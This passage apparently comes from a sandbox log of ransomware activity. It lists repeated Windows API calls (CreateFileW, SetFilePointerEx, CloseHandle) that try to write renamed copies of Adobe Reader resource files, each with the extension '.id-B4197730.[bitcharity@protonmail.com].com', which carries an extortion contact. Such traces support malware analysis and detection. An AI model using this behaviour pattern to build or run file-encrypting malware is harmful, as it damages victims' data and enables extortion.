hTemplateFile=0x0) returned 0xffffffff [0284.446] CloseHandle (hObject=0x1180) returned 1 [0284.447] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.447] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\text_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\text_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.447] CloseHandle (hObject=0x1180) returned 1 [0284.448] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.448] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\x_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\x_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.448] CloseHandle (hObject=0x1180) returned 1 [0284.449] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.449] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\x_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\x_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.449] CloseHandle (hObject=0x1180) returned 1 [0284.463] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.463] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.464] CloseHandle (hObject=0x1180) returned 1 [0284.464] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.464] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.465] CloseHandle (hObject=0x1180) returned 1 [0284.466] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.466] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.466] CloseHandle (hObject=0x1180) returned 1 [0284.466] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.466] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.467] CloseHandle (hObject=0x1180) returned 1 [0284.467] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.467] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.467] CloseHandle (hObject=0x1180) returned 1 [0284.468] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.468] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.468] CloseHandle (hObject=0x1180) returned 1 [0284.470] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.471] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.471] CloseHandle (hObject=0x1180) returned 1 [0284.471] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.471] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.472] CloseHandle (hObject=0x1180) returned 1 [0284.475] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.475] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.475] CloseHandle (hObject=0x1180) returned 1 [0284.476] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.476] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.476] CloseHandle (hObject=0x1180) returned 1 [0284.476] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.476] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.477] CloseHandle (hObject=0x1180) returned 1 [0284.477] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.478] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.478] CloseHandle (hObject=0x1180) returned 1 [0284.478] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.478] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.479] CloseHandle (hObject=0x1180) returned 1 [0284.479] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.479] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\generic-rhp-app\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.479] CloseHandle (hObject=0x1180) returned 1 [0284.482] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.482] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.482] CloseHandle (hObject=0x1180) returned 1 [0284.483] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.483] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.483] CloseHandle (hObject=0x1180) returned 1 [0284.820] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.820] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\files_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\files_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.820] CloseHandle (hObject=0x115c) returned 1 [0284.821] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.821] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.821] CloseHandle (hObject=0x115c) returned 1 [0284.822] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.822] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.822] CloseHandle (hObject=0x115c) returned 1 [0284.825] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.825] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.825] CloseHandle (hObject=0x115c) returned 1 [0284.826] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.826] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.826] CloseHandle (hObject=0x115c) returned 1 [0284.827] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.827] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.827] CloseHandle (hObject=0x115c) returned 1 [0284.828] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.828] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.828] CloseHandle (hObject=0x115c) returned 1 [0284.829] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.829] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.829] CloseHandle (hObject=0x115c) returned 1 [0284.830] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.830] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, 